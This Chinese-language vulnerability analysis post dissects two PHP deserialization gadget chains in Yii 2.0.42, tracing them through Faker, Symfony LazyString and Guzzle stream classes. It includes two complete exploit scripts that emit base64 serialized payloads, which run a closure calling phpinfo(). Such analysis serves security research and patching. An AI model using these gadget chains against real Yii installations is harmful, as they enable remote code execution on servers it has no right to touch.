Yii2.0.42反序列化分析(二)

接着上一篇文章继续分析,四条链子中第二条是最为复杂也是最有意思的,一切是那么的恰到好处哈哈哈

环境搭建请看前篇,直接切入正题,由于最近比较忙,部分地方就不那么详细分析变量构造由来了,跟着exp分析一下就可以了

pop3


起手的地方还是一样的,毕竟就只剩下这么个起手点了,下面要更换的是__call()魔术方法所在的类,把目光转向这里,其实和第一条大差不差,为了有一点区别还是换了一个
vendor\fakerphp\faker\src\Faker\UniqueGenerator.php

这里的$res利用第一条链子中用到的类是能够让返回值可控的,也就是说此处的$res为可控变量;第三条链的关键点在于利用__sleep()魔术方法,在序列化一个对象时,如果类中存在该方法会优先调用该魔术方法;全局搜索
vendor\symfony\string\LazyString.php

之后会调用本类中的__toString()魔术方法,跟进

可以看到利用点在($this->value)(),这种形式一看就是动态调用无参函数;这里要注意点的是第一个if条件语句,我们传入的参数值肯定会是一个字符串才能够动态调用,这里只有让if判断条件不成立程序逻辑才会到达最后的利用点处
这里还是要用到\Opis\Clsure方法序列化匿名函数,这里可以写一个例子

可以看到是能够直接绕过is_string()函数判断的
至于为什么会是这样师傅们可以自己研究一下子
解决了这一步那就可以rce了
exp

  1. <?php
  2. /***
  3. * Created by joker
  4. * Date 2021/9/17 16:20
  5. ***/
  6. namespace Codeception\Extension;
  7. use Faker\UniqueGenerator;
  8. class RunProcess{
  9. private $processes;
  10. public function __construct()
  11. {
  12. $this->processes = [new UniqueGenerator()];
  13. }
  14. }
  15. namespace Faker;
  16. use Symfony\Component\String\LazyString;
  17. use Faker\DefaultGenerator;
  18. class UniqueGenerator{
  19. protected $generator;
  20. protected $maxRetries;
  21. public function __construct()
  22. {
  23. $a = new LazyString();
  24. $this->generator = new DefaultGenerator($a);
  25. $this->maxRetries = 2;
  26. }
  27. }
  28. namespace Faker;
  29. class DefaultGenerator{
  30. protected $default;
  31. public function __construct($default = null)
  32. {
  33. $this->default = $default;
  34. }
  35. }
  36. namespace Symfony\Component\String;
  37. use Codeception\Extension\RunProcess;
  38. class LazyString{
  39. private $value;
  40. public function __construct()
  41. {
  42. include("../test/closure/autoload.php");
  43. $a = function(){phpinfo();};
  44. $a = \Opis\Closure\serialize($a);
  45. $b = unserialize($a);
  46. $this->value = $b;
  47. }
  48. }
  49. $a = new RunProcess();
  50. echo base64_encode(serialize($a));

pop4

入口依然不变,只不过这次换个跳板函数,转向__toString()魔术方法,php基本就是这两种做跳板

这里进行了字符串的拼接,只需要让$process为类对象就可以触发类中的__toString()方法,这里这个getCommandLine()方法没有,所以还是需要用到第一条链中的__call()方法来让返回值可控,全局搜索
vendor\guzzlehttp\psr7\src\AppendStream.php

跟进rewind()方法


$this->seekable默认值为true,$whence默认值为SEEK_SET,所以程序会顺利向下,$this->streams变量可控,程序会走到断点处,这里调用了其它类中的rewind()方法,追踪发现是一个接口类,找到继承了该接口类的子类
basic\vendor\guzzlehttp\psr7\src\CachingStream.php


这里要让while条件成立才会往下,查看类中eof()方法

只需要让$this->remoteStream的值为false,返回值就会为false,在while中的部分会回取反为true,$diff的取值看exp就知道来源了
跟进read()方法

$this->stream可控,到这里read()方法还是会指向接口类,所以需要找到新的继承类保证利用链能够走下去,这也就是为什么要让$this->streamPumpStream类对象
vendor\guzzlehttp\psr7\src\PumpStream.php

跟进pump方法

熟悉的地方,$this->source可控,只需要让传递过来的$length可控就可以了
部分参数的取值可以跟着exp分析一下,就不多说了

  1. <?php
  2. /***
  3. * Created by joker
  4. * Date 2021/9/19 18:01
  5. ***/
  6. namespace Codeception\Extension;
  7. use Faker\DefaultGenerator;
  8. use GuzzleHttp\Psr7\AppendStream;
  9. class RunProcess{
  10. protected $output;
  11. private $processes = [];
  12. public function __construct(){
  13. $this->processes[]=new DefaultGenerator(new AppendStream());
  14. $this->output=new DefaultGenerator('joker');
  15. }
  16. }
  17. namespace Faker;
  18. class DefaultGenerator
  19. {
  20. protected $default;
  21. public function __construct($default = null)
  22. {
  23. $this->default = $default;
  24. }
  25. }
  26. namespace GuzzleHttp\Psr7;
  27. use Codeception\Extension\RunProcess;
  28. use Faker\DefaultGenerator;
  29. final class AppendStream{
  30. private $streams = [];
  31. private $seekable = true;
  32. public function __construct(){
  33. $this->streams[]=new CachingStream();
  34. }
  35. }
  36. final class CachingStream{
  37. private $remoteStream;
  38. public function __construct(){
  39. $this->remoteStream=new DefaultGenerator(false);
  40. $this->stream=new PumpStream();
  41. }
  42. }
  43. final class PumpStream{
  44. private $source;
  45. private $size=-10;
  46. private $buffer;
  47. public function __construct(){
  48. $this->buffer=new DefaultGenerator('j');
  49. include("../test/closure/autoload.php");
  50. $a = function(){phpinfo();};
  51. $a = \Opis\Closure\serialize($a);
  52. $b = unserialize($a);
  53. $this->source=$b;
  54. }
  55. }
  56. $a = new RunProcess();
  57. echo base64_encode(serialize($a));

总结

yii2.0.42的反序列化就到这里了,还是靠耐心吧,加上对魔术方法的利用,这几条链都离不开那个可控返回值的类,修复的话2.0.43已经做的差不多了。

  • 发表于 2021-10-08 16:48:18
  • 阅读 ( 7253 )
  • 分类:漏洞分析

0 条评论

joker
joker

19 篇文章

站长统计